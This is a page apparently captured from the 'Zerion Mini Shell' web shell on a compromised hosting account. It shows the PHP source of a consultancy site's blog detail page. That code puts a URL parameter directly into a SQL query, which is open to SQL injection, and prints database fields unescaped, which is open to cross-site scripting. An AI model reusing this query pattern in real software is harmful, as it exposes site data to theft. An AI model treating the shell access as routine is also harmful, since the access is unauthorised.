ok

Mini Shell

Direktori : /home/importfo/public_html/worldinvestmentsurat.com/
Upload File :
Current File : //home/importfo/public_html/worldinvestmentsurat.com/blog_detail.php

<?php include ("admin/config.php");?>

<!DOCTYPE html>
<html lang="en-US">

<!-- Mirrored from htmldemo.net/consultix/consultix/blog-detail.html by HTTrack Website Copier/3.x [XR&CO'2014], Mon, 27 Nov 2023 08:49:38 GMT -->
<?php include 'top.php' ?>
<body>

<div class="page-wrapper">
 	
    <!-- Main Header-->
  <?php include 'header.php' ?>
    <!--End Main Header -->
	
	<!-- Page Title Section -->
 <div class="page-banner-image-section">
		<div class="image">
			<img src="images/background/bg.png" alt="" />
		</div>
	</div>
	<!-- End Page Title Section -->
	
	<!--Sidebar Page Container-->
    <div class="sidebar-page-container padding-top style-two">
    	<div class="auto-container">
			<div class="row clearfix">
				  <?php
                             if(isset($_GET['slug']))
                           {
                              $slug=$_GET['slug'];
                            }


                            else
                            {
                              $slug=0;
                            }
                            $sql="SELECT * from blog where id='$slug' " ;
                            $res=mysqli_query($db,$sql);
                            $row=mysqli_fetch_array($res);
                            $post_date=$row['post_date'];
                            $post_by=$row['post_by'];
                            $image=$row['image'];
                            $post_desc=$row['post_desc'];
                            ?>

            	
                <!-- Content Side -->
                <div class="content-side col-lg-9 col-md-12 col-sm-12">
					<div class="blog-detail">
						<div class="inner-box">
							<div class="image">
								<img src="admin/upload/<?php echo $row['image']; ?>" alt="" />
							</div>
							<div class="lower-content">
								<div class="post-info"><span class="theme_color"><?php echo $row['title']; ?></span> - <?php echo $row['post_date']; ?> <i>Admin</i></div>
								<p><?php echo $row['post_desc']; ?></p>
								
							
								
							</div>
						</div>
					</div>
					

					
				</div>
				
				<!--Sidebar Side-->
                <div class="sidebar-side col-lg-3 col-md-12 col-sm-12">
                	<aside class="sidebar sticky-top margin-left">
						
						<!-- Search -->
                 
						<!--Category Blog-->
               
						
						<!-- Popular Posts -->
                                        <div class="sidebar-widget popular-posts">
							<div class="sidebar-title">
                            	<h4>Recent Posts</h4>
                            </div>
                            <div class="widget-content">

                            	<?php
                            $sql="SELECT * from blog";
                            $res=mysqli_query($db,$sql);
                            while($row=mysqli_fetch_array($res))
                            {
                        ?>
							
                                <div class="post">
                                    <figure class="post-thumb"><a href="blog_detail.php?slug=<?php echo $row['id']; ?>"><img src="admin/upload/<?php echo $row['image']?>" alt=""></a></figure>
                                    <div class="text"><a href="blog_detail.php?slug=<?php echo $row['id']; ?>"><?php echo $row['title']; ?></a></div>
								</div>
                                
                              
                                <?php }?>
                            
                            </div>
						</div>
			
					</aside>
				</div>
				
			</div>
		</div>

		<!-- End Lower Section -->
		
	</div>
	
	<!-- Main Footer -->
   <?php include 'footer.php' ?>
	
</div>
<!--End pagewrapper-->

<!-- Search Popup -->
<div class="search-popup">
	<button class="close-search style-two"><span class="icofont-brand-nexus"></span></button>
	<button class="close-search"><span class="icofont-arrow-up"></span></button>
	<form method="post" action="https://htmldemo.net/consultix/consultix/blog.html">
		<div class="form-group">
			<input type="search" name="search-field" value="" placeholder="Search Here" required="">
			<button type="submit"><i class="fa fa-search"></i></button>
		</div>
	</form>
</div>
<!-- End Header Search -->

<!-- Scroll To Top -->
<div class="scroll-to-top scroll-to-target" data-target="html"><span class="fa fa-arrow-circle-up"></span></div>

<script src="js/vendor/modernizr-3.6.0.min.js"></script>
<script src="js/vendor/jquery-3.6.0.min.js"></script>
<script src="js/vendor/jquery-migrate-3.3.2.min.js"></script>

<script src="js/bootstrap.min.js"></script>
<script src="js/jquery.mCustomScrollbar.concat.min.js"></script>
<script src="js/jquery.fancybox.js"></script>
<script src="js/appear.js"></script>
<script src="js/owl.js"></script>
<script src="js/wow.js"></script>
<script src="js/parallax.min.js"></script>
<script src="js/tilt.jquery.min.js"></script>
<script src="js/jquery.paroller.min.js"></script>
<script src="js/jquery-ui.js"></script>
<script src="js/script.js"></script>

</body>

<!-- Mirrored from htmldemo.net/consultix/consultix/blog-detail.html by HTTrack Website Copier/3.x [XR&CO'2014], Mon, 27 Nov 2023 08:49:39 GMT -->
</html>

Zerion Mini Shell 1.0